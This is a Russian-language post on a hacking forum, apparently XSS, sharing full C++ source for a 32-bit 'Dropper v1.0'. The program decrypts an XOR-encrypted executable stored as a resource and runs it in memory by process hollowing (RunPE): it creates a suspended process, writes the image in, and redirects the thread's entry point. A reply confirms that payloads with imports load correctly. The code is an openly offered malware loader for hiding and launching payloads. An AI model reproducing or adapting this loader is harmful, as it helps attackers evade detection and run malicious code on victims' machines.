• XSS.stack #1 – первый литературный журнал от юзеров форума

Запуск ресурса из памяти

fest

HDD-drive
Пользователь
Регистрация
14.07.2022
Сообщения
22
Реакции
7
Запуск ресурса из памяти для x32.
Переделать под x64 не сложно.

Код:
#include "resource.h"
#include <Windows.h>
#include <iostream>

using namespace std;

// Decrypt the executable
void decryptXOR(char* binary, int size)
{
    cout << "[-] Decrypting" << endl;
    // Define the key to XOR this ***** with
    int xorKey = 169;
    cout << "[-] XOR key: " << xorKey << endl;

    // Decrypt that b
    char unencrypted_char;
    for (int i = 0; i < size; i++) {
        unencrypted_char = binary[i];
        binary[i] = binary[i] ^ xorKey;
    }
}

// Run the PE from memory
int RunPE(void* Image)
{
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase; //Base address of the image
    void* pImageBase; // Pointer to the image base

    int count;
    char CurrentFilePath[1024];

    DOSHeader = PIMAGE_DOS_HEADER(Image); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize

    GetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        ZeroMemory(&PI, sizeof(PI)); // Null the memory
        ZeroMemory(&SI, sizeof(SI)); // Null the memory

        if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current process in suspended state, for the new image.
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
            {
                // Read instructions
                ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
                pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                // Write the image to the process
                WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
                for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                {
                    SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
                    WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                }
                WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

                // Move address of entry point to the eax register
                CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                ResumeThread(PI.hThread); //�Start the process/call main()

                return 0; // Operation was successful.
            }
        }
    }
}

// Main method, does not take any arguments
int main()
{
    cout << "Dropper v1.0" << endl << endl;

    // Load our encrypted.exe which is stored in this file as a resource
    HRSRC resource = ::FindResource(GetModuleHandle(NULL), MAKEINTRESOURCE(101), RT_RCDATA);
    HGLOBAL resourceData = ::LoadResource(NULL, resource);
    unsigned int resourceSize = ::SizeofResource(NULL, resource);
    void* lockedResourceData = ::LockResource(resourceData);

    // Store the data in a buffer
    char* buffer = new char[resourceSize];
    memcpy(buffer, lockedResourceData, resourceSize);

    // Feedback
    cout << "[-] Loaded encrypted data from resource" << endl;
    cout << "[-] Size: " << resourceSize << " bytes" << endl;

    // Decrypt it in memory
    decryptXOR(buffer, resourceSize);
    cout << "[-] Unencrypted first 40 bytes: " << endl << "[-] '";
    int count = 0;
    for (int i = 0; i < 40; i++) {
        cout << buffer[i];
    }
    cout << "'" << endl;

    // Run it from memory
    RunPE(buffer);

    // Finishes
    cout << "Finished, have a nice day." << endl;
    return 0;
}
 
получается что ресурс должен быть без импортов
Нет, импорты обрабатываются загрузчиком уже после восстановления контекста в данном случае, это обычный заезженный RunPE, в этой технологии нет нужны обрабатывать импорты вручную
Так что "ресурс" с импортами будет обработан успешно
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх